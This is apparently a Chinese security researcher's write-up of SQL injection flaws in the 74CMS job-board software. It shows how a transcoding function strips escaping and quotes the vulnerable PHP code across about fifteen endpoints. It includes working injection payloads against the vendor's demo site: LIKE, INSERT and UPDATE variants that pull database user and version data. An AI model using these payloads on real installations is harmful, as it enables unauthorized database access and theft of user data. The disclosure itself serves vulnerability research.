74CMS最新版在处理转码现在使用的utf8_to_gbk()函数,看过74CMS的都知道之前用的iconv函数被雨牛报过漏洞,现在里面使用了stripslashes函数:
//编码转换 function utf8_to_gbk($utfstr) { $utfstr=stripslashes($utfstr);//使用stripslashes函数可以干掉GPC的转义 if(is_numeric($utfstr)){ return $utfstr; } global $UC2GBTABLE; $okstr = ''; if(empty($UC2GBTABLE)) { define('CODETABLEDIR', dirname(__FILE__).DIRECTORY_SEPARATOR.'encoding'.DIRECTORY_SEPARATOR); $filename = CODETABLEDIR.'gb-unicode.table'; $fp = fopen($filename, 'rb'); while($l = fgets($fp,15)) { $UC2GBTABLE[hexdec(substr($l, 7, 6))] = hexdec(substr($l, 0, 6)); } fclose($fp); } $okstr = ''; $ulen = strlen($utfstr); for($i=0; $i<$ulen; $i++) { $c = $utfstr[$i]; $cb = decbin(ord($utfstr[$i])); if(strlen($cb)==8) { $csize = strpos(decbin(ord($cb)),'0'); for($j = 0; $j < $csize; $j++) { $i++; $c .= $utfstr[$i]; } $c = utf8_to_unicode($c); if(isset($UC2GBTABLE[$c])) { $c = dechex($UC2GBTABLE[$c]+0x8080); $okstr .= chr(hexdec($c[0].$c[1])).chr(hexdec($c[2].$c[3])); } else { $okstr .= '&#'.$c.';'; } } else { $okstr .= $c; } } $okstr = trim($okstr); return addslashes_deep($okstr);//返回的时候又使用了addslashes函数,我们跟进看看 }
现在存在两种情况:
1.GPC开启,stripslashes函数干掉GPC的转义;
2.GPC关闭,但是有全局转义的函数,stripslashes干掉全局转义;
我们跟进addslashes_deep函数:
function addslashes_deep($value) { if (empty($value)) { return $value; } else { if (!get_magic_quotes_gpc()) { $value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags(addslashes($value)); } else { $value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags($value); } return $value; } }
主要逻辑在else里:
1.GPC开启,直接使用mystrip_tags函数处理,然后返回;
2.GPC关闭,再次使用addslashes函数进行转义处理,然后返回;
也就是说如果GPC开启,那么使用stripslashes函数直接就生吞GPC?吓得我一身冷汗…我们再跟进mystrip_tags函数看看有没有过滤:
/** * xss过滤函数 * @param $string * @return string */ function mystrip_tags($string) { $string = new_html_special_chars($string); $string = remove_xss($string); return $string; } function new_html_special_chars($string) { $string = str_replace(array('&', '"', '<', '>'), array('&', '"', '<', '>'), $string); $string = strip_tags($string); return $string; }
发现仅仅简单过滤xss,那么注入就来了!
我们全局搜索下看使用utf8_to_gbk()函数处理的条数,竟然有82条:
注入1./plus/ajax_common.php
elseif($act=="hotword") { if (empty($_GET['query'])) { exit(); } $gbk_query=trim($_GET['query']); if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0) { $gbk_query=utf8_to_gbk($gbk_query); } $sql="SELECT * FROM ".table('hotword')." WHERE w_word like '%{$gbk_query}%' ORDER BY `w_hot` DESC LIMIT 0 , 10"; $result = $db->query($sql); ... ...
POC:http://demo.74cms.com/plus/ajax_common.php?act=hotword&query=%E4%BC%9A%E8%AE%A1%%27%20and%20w_hot%20like%20%27%1
sqlmap直接跑无压力,就是这么暴力,就是这么任性:
注入2./plus/ajax_street.php
elseif($act == 'key') { $key=trim($_GET['key']); if (!empty($key)) { if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0) $key=utf8_to_gbk($key); $result = $db->query("select * from ".table('category')." where c_alias='QS_street' AND c_name LIKE '%{$key}%' "); ... ...
POC:http://demo.74cms.com/plus/ajax_street.php?act=key&key=%E5%BB%BA%E8%AE%BE%%27%20and%20c_name%20like%20%27%%E5%BB%BA%E8%AE%BE
注入3./plus/ajax_user.php
elseif($act =='check_usname') { require_once(QISHI_ROOT_PATH.'include/fun_user.php'); $usname=trim($_POST['usname']); if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0) { $usname=utf8_to_gbk($usname); } $user=get_user_inusername($usname); ... ... 跟进get_user_inusername function get_user_inusername($username) { global $db; $sql = "select * from ".table('members')." where username = '{$username}' LIMIT 1"; return $db->getone($sql); }
直接sqlmap验证,我们注册一个账户叫Tester
注入4./plus/ajax_user.php
elseif($act == 'check_email') { require_once(QISHI_ROOT_PATH.'include/fun_user.php'); $email=trim($_POST['email']); if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0) { $email=utf8_to_gbk($email); } $user=get_user_inemail($email); ... ...
跟进get_user_inemail
function get_user_inemail($email) { global $db; return $db->getone("select * from ".table('members')." where email = '{$email}' LIMIT 1"); }
同样用注册邮箱88888@qq.com测试
注入5./user/user_apply_jobs.php
elseif ($act=="app_save") { $jobsid=isset($_POST['jobsid'])?$_POST['jobsid']:exit("出错了"); $resumeid=isset($_POST['resumeid'])?intval($_POST['resumeid']):exit("出错了"); $notes=isset($_POST['notes'])?trim($_POST['notes']):""; $pms_notice=intval($_POST['pms_notice']); $jobsarr=app_get_jobs($jobsid); if (empty($jobsarr)) { exit("职位丢失"); } $resume_basic=get_resume_basic($_SESSION['uid'],$resumeid); $resume_basic = array_map("addslashes", $resume_basic); if (empty($resume_basic)) { exit("简历丢失"); } $i=0; foreach($jobsarr as $jobs) { $jobs = array_map("addslashes", $jobs); if (check_jobs_apply($jobs['id'],$resumeid,$_SESSION['uid'])) { continue ; } if ($resume_basic['display_name']=="2") { $personal_fullname="N".str_pad($resume_basic['id'],7,"0",STR_PAD_LEFT); } elseif($resume_basic['display_name']=="3") { $personal_fullname=cut_str($resume_basic['fullname'],1,0,"**"); } else { $personal_fullname=$resume_basic['fullname']; } $addarr['resume_id']=$resumeid; $addarr['resume_name']=$personal_fullname; $addarr['personal_uid']=intval($_SESSION['uid']); $addarr['jobs_id']=$jobs['id']; $addarr['jobs_name']=$jobs['jobs_name']; $addarr['company_id']=$jobs['company_id']; $addarr['company_name']=$jobs['companyname']; $addarr['company_uid']=$jobs['uid']; $addarr['notes']= $notes; if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0) { $addarr['notes']=utf8_to_gbk($addarr['notes']); } $addarr['apply_addtime']=time(); $addarr['personal_look']=1; if (inserttable(table('personal_jobs_apply'),$addarr)) //是个insert型注入,请看下面实战分析 ... ...
注入5有点略长,需要注册三个账户:求职者A(HunterA),求职者B(HunterB)和企业C(HackerE)
首先HunterA申请HackerE发布的职位
然后点击投递后抓包,上insert型的payload狙击:
1111',1434898210,1),('3', 'HunterB', '4', '1', user(), '1', version(), '2', '1111
HackerE登录后即可成功获取注入信息
注入6./user/user_invited.php
$addarr['resume_name']=$resume['fullname']; } $addarr['resume_uid']=$resume['uid']; $addarr['company_id']=$jobs['company_id']; $addarr['company_addtime']=$jobs['company_addtime']; $addarr['company_name']=$jobs['companyname']; $addarr['company_uid']=$_SESSION['uid']; $addarr['jobs_id']=$jobs['id']; $addarr['jobs_name']=$jobs['jobs_name']; $addarr['jobs_addtime']=$jobs['addtime']; $addarr['notes']= $notes; if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0) { $addarr['notes']=utf8_to_gbk($addarr['notes']); } $addarr['personal_look']= 1; $addarr['interview_addtime']=time(); $resume_user=get_user_info($resume['uid']); $resume_user = array_map("addslashes",$resume_user); if ($_CFG['operation_mode']=="2") { inserttable(table('company_interview'),$addarr); //同注入5,同为$addarr的insert注入
注入7./user/user_report.php
elseif ($act=="app_save") { $setsqlarr['content']=trim($_POST['content'])?trim($_POST['content']):exit("出错了"); $setsqlarr['jobs_id']=$_POST['jobs_id']?intval($_POST['jobs_id']):exit("出错了"); $setsqlarr['jobs_name']=trim($_POST['jobs_name'])?trim($_POST['jobs_name']):exit("出错了"); $setsqlarr['jobs_addtime']=intval($_POST['jobs_addtime']); $setsqlarr['uid']=intval($_SESSION['uid']); $setsqlarr['addtime']=time(); if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0) { $setsqlarr['content']=utf8_to_gbk($setsqlarr['content']); $setsqlarr['jobs_name']=utf8_to_gbk($setsqlarr['jobs_name']); } $jobsarr=app_get_jobs($setsqlarr['jobs_id']); if (empty($jobsarr)) { exit("职位丢失"); } else { $insert_id = inserttable(table('report'),$setsqlarr,1); //很明显,又是inset注入
注入8./user/user_report_resume.php
elseif ($act=="app_save") { $setsqlarr['content']=trim($_POST['content'])?trim($_POST['content']):exit("出错了"); $setsqlarr['resume_id']=$_POST['resume_id']?intval($_POST['resume_id']):exit("出错了"); $setsqlarr['title']=trim($_POST['full_name'])?trim($_POST['full_name']):exit("出错了"); $setsqlarr['resume_addtime']=intval($_POST['resume_addtime']); $setsqlarr['uid']=intval($_SESSION['uid']); $setsqlarr['addtime']=time(); if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0) { $setsqlarr['content']=utf8_to_gbk($setsqlarr['content']); $setsqlarr['title']=utf8_to_gbk($setsqlarr['title']); } $resume=get_resume_basic($setsqlarr['resume_id']); if (empty($resume)) { exit("简历丢失"); } else { $insert_id = inserttable(table('report_resume'),$setsqlarr,1); //insert注入
注入9./user/company/company_info.php(该文件注入点太多,需要注册企业账户,也不赘述)
elseif ($act=='company_profile_save') { $uid=intval($_SESSION['uid']); $setsqlarr['uid']=intval($_SESSION['uid']); $setsqlarr['companyname']=trim($_POST['companyname'])?utf8_to_gbk(trim($_POST['companyname'])):exit('您没有输入企业名称!'); check_word($_CFG['filter'],$setsqlarr['companyname'])?exit($_CFG['filter_tips']):''; $setsqlarr['nature']=trim($_POST['nature'])?intval($_POST['nature']):exit('您选择企业性质!'); $setsqlarr['nature_cn']=utf8_to_gbk(trim($_POST['nature_cn'])); $setsqlarr['trade']=trim($_POST['trade'])?intval($_POST['trade']):exit('您选择所属行业!'); $setsqlarr['trade_cn']=utf8_to_gbk(trim($_POST['trade_cn'])); $setsqlarr['district']=intval($_POST['district'])>0?intval($_POST['district']):exit('您选择所属地区!'); $setsqlarr['sdistrict']=intval($_POST['sdistrict']); $setsqlarr['district_cn']=utf8_to_gbk(trim($_POST['district_cn'])); if (intval($_POST['street'])>0) { $setsqlarr['street']=intval($_POST['street']); $setsqlarr['street_cn']=utf8_to_gbk(trim($_POST['street_cn'])); } $setsqlarr['scale']=trim($_POST['scale'])?utf8_to_gbk(trim($_POST['scale'])):exit('您选择公司规模!'); $setsqlarr['scale_cn']=utf8_to_gbk(trim($_POST['scale_cn'])); $setsqlarr['registered']=utf8_to_gbk(trim($_POST['registered'])); $setsqlarr['currency']=utf8_to_gbk(trim($_POST['currency'])); $setsqlarr['address']=trim($_POST['address'])?utf8_to_gbk(trim($_POST['address'])):exit('请填写通讯地址!'); check_word($_CFG['filter'],$setsqlarr['address'])?exit($_CFG['filter_tips']):''; $setsqlarr['contact']=trim($_POST['contact'])?utf8_to_gbk(trim($_POST['contact'])):exit('请填写联系人!'); check_word($_CFG['filter'],$setsqlarr['contact'])?exit($_CFG['filter_tips']):''; $setsqlarr['telephone']=trim($_POST['telephone'])?utf8_to_gbk(trim($_POST['telephone'])):exit('请填写联系电话!'); check_word($_CFG['filter'],$setsqlarr['telephone'])?exit($_CFG['filter_tips']):''; $setsqlarr['email']=trim($_POST['email'])?utf8_to_gbk(trim($_POST['email'])):exit('请填写联系邮箱!'); check_word($_CFG['filter'],$setsqlarr['email'])?exit($_CFG['filter_tips']):''; $setsqlarr['website']=utf8_to_gbk(trim($_POST['website'])); check_word($_CFG['filter'],$setsqlarr['website'])?exit($_CFG['filter_tips']):''; $setsqlarr['contents']=trim($_POST['contents'])?utf8_to_gbk(trim($_POST['contents'])):exit('请填写公司简介!'); check_word($_CFG['filter'],$setsqlarr['contents'])?exit($_CFG['filter_tips']):''; $setsqlarr['yellowpages']=intval($_POST['yellowpages']); $setsqlarr['contact_show']=intval($_POST['contact_show']); $setsqlarr['email_show']=intval($_POST['email_show']); $setsqlarr['telephone_show']=intval($_POST['telephone_show']); $setsqlarr['address_show']=intval($_POST['address_show']); if ($_CFG['company_repeat']=="0") { $info=$db->getone("SELECT uid FROM ".table('company_profile')." WHERE companyname ='{$setsqlarr['companyname']}' AND uid<>'{$_SESSION['uid']}' LIMIT 1");
注入点10./user/personal/personal_resume.php(注入点很多,update型注入点)
再来一处update型注入点
elseif ($act=='ajax_save_basic') { $setsqlarr['uid']=intval($_SESSION['uid']); $setsqlarr['telephone']=trim($_POST['mobile'])?trim($_POST['mobile']):exit('请填写手机号!'); $go_verify=0; if($user['mobile_audit']==0){ $verifycode=trim($_POST['verifycode']); if($verifycode){ if (empty($_SESSION['mobile_rand']) || $verifycode<>$_SESSION['mobile_rand']) { exit("手机验证码错误"); } else { $verifysqlarr['mobile'] = $setsqlarr['telephone']; $verifysqlarr['mobile_audit'] = 1; $go_verify=1; updatetable(table('members'),$verifysqlarr," uid='{$setsqlarr['uid']}'"); unset($verifysqlarr); } } unset($_SESSION['verify_mobile'],$_SESSION['mobile_rand']); } $setsqlarr['title']=trim($_POST['title'])?utf8_to_gbk(trim($_POST['title'])):"未命名简历"; check_word($_CFG['filter'],$setsqlarr['title'])?exit($_CFG['filter_tips']):''; $setsqlarr['fullname']=trim($_POST['fullname'])?utf8_to_gbk(trim($_POST['fullname'])):exit('请填写姓名!'); check_word($_CFG['filter'],$setsqlarr['fullname'])?exit($_CFG['filter_tips']):''; $setsqlarr['display_name']=intval($_POST['display_name']); $setsqlarr['sex']=trim($_POST['sex'])?intval($_POST['sex']):exit('请选择性别!'); $setsqlarr['sex_cn']=utf8_to_gbk(trim($_POST['sex_cn'])); $setsqlarr['birthdate']=intval($_POST['birthdate'])>1945?intval($_POST['birthdate']):exit('请正确填写出生年份'); $setsqlarr['residence']=trim($_POST['residence'])?utf8_to_gbk(trim($_POST['residence'])):exit('请选择现居住地!'); $setsqlarr['residence_cn']=utf8_to_gbk(trim($_POST['residence_cn'])); $setsqlarr['education']=intval($_POST['education'])?intval($_POST['education']):exit('请选择学历'); $setsqlarr['education_cn']=utf8_to_gbk(trim($_POST['education_cn'])); $setsqlarr['experience']=intval($_POST['experience'])?intval($_POST['experience']):exit('请选择工作经验'); $setsqlarr['experience_cn']=utf8_to_gbk(trim($_POST['experience_cn'])); $setsqlarr['email']=trim($_POST['email'])?utf8_to_gbk(trim($_POST['email'])):exit('请填写邮箱!'); check_word($_CFG['filter'],$setsqlarr['email'])?exit($_CFG['filter_tips']):''; $setsqlarr['email_notify']=$_POST['email_notify']=="1"?1:0; $setsqlarr['height']=intval($_POST['height']); $setsqlarr['householdaddress']=trim($_POST['householdaddress']); $setsqlarr['householdaddress_cn']=utf8_to_gbk(trim($_POST['householdaddress_cn'])); $setsqlarr['marriage']=intval($_POST['marriage']); $setsqlarr['marriage_cn']=utf8_to_gbk(trim($_POST['marriage_cn'])); $setsqlarr['intention_jobs']=utf8_to_gbk(trim($_POST['intention_jobs']))?utf8_to_gbk(trim($_POST['intention_jobs'])):exit('请选择意向职位!'); $setsqlarr['trade']=$_POST['trade']?trim($_POST['trade']):exit('请选择期望行业!'); $setsqlarr['trade_cn']=utf8_to_gbk(trim($_POST['trade_cn'])); $setsqlarr['district']=trim($_POST['district'])?intval($_POST['district']):exit('请选择期望工作地区!'); $setsqlarr['sdistrict']=intval($_POST['sdistrict']); $setsqlarr['district_cn']=utf8_to_gbk(trim($_POST['district_cn'])); $setsqlarr['nature']=intval($_POST['nature'])?intval($_POST['nature']):exit('请选择期望岗位性质!'); $setsqlarr['nature_cn']=utf8_to_gbk(trim($_POST['nature_cn'])); $setsqlarr['wage']=intval($_POST['wage'])?intval($_POST['wage']):exit('请选择期望薪资!'); $setsqlarr['wage_cn']=utf8_to_gbk(trim($_POST['wage_cn'])); $setsqlarr['refreshtime']=$timestamp; $_CFG['audit_edit_resume']!="-1"?$setsqlarr['audit']=intval($_CFG['audit_edit_resume']):""; updatetable(table('resume'),$setsqlarr," id='".intval($_REQUEST['pid'])."' AND uid='{$setsqlarr['uid']}'");
修改我个人简历后抓包,update注入,覆盖掉可控的telephone变量,POC如下:
fullname=HunterA', telephone = user(), sex='1
预览简历发现telephone字段成功注出
注入11、12./user/plus/ajax_user.php
elseif($act =='check_usname') { require_once(QISHI_ROOT_PATH.'include/fun_user.php'); $usname=trim($_POST['usname']); if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0) { $usname=utf8_to_gbk($usname);//注入11 } $user=get_user_inusername($usname); if (defined('UC_API')) { include_once(QISHI_ROOT_PATH.'uc_client/client.php'); if (uc_user_checkname($usname)===1 && empty($user)) { exit("true"); } else { exit("false"); } } empty($user)?exit("true"):exit("false"); } elseif($act == 'check_email') { require_once(QISHI_ROOT_PATH.'include/fun_user.php'); $email=trim($_POST['email']); if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0) { $email=utf8_to_gbk($email);//注入12. } $user=get_user_inemail($email); if (defined('UC_API')) { include_once(QISHI_ROOT_PATH.'uc_client/client.php'); if (uc_user_checkemail($email)===1 && empty($user)) { exit("true"); } else { exit("false"); } } empty($user)?exit("true"):exit("false"); }
注入13-15./wap/personal/wap_user.php、/wap/personal/wap_apply.php、/wap/company/wap_company_jobs.php
wap端的功能存在同样问题
// 修改简历名 elseif($act == 'resume_name_save') { $smarty->cache = false; $_POST=array_map("utf8_to_gbk", $_POST); $resume_id=intval($_POST["resume_id"]); $uid=intval($_SESSION["uid"]); $title=trim($_POST['title'])?trim($_POST['title']):exit("请输入简历名称"); $sql="update ".table("resume")." set title='$title' where id=$resume_id and uid=$uid "; if($db->query($sql)){ exit("ok"); }else{ exit("err"); }
我们看到是个update型的注入,由于是简历,那么我们可以在其它字段显示出来,后边的引号再用引号闭合即可!
查看数据库中resume表的字段,那么就使用fullname字段出注入数据,sex字段闭合后面单引号
在个人简历处,修改简历名字并抓包,POC为title=bob’,fullname=user(),sex=’1
查看基本信息,发现成功获取当前的用户: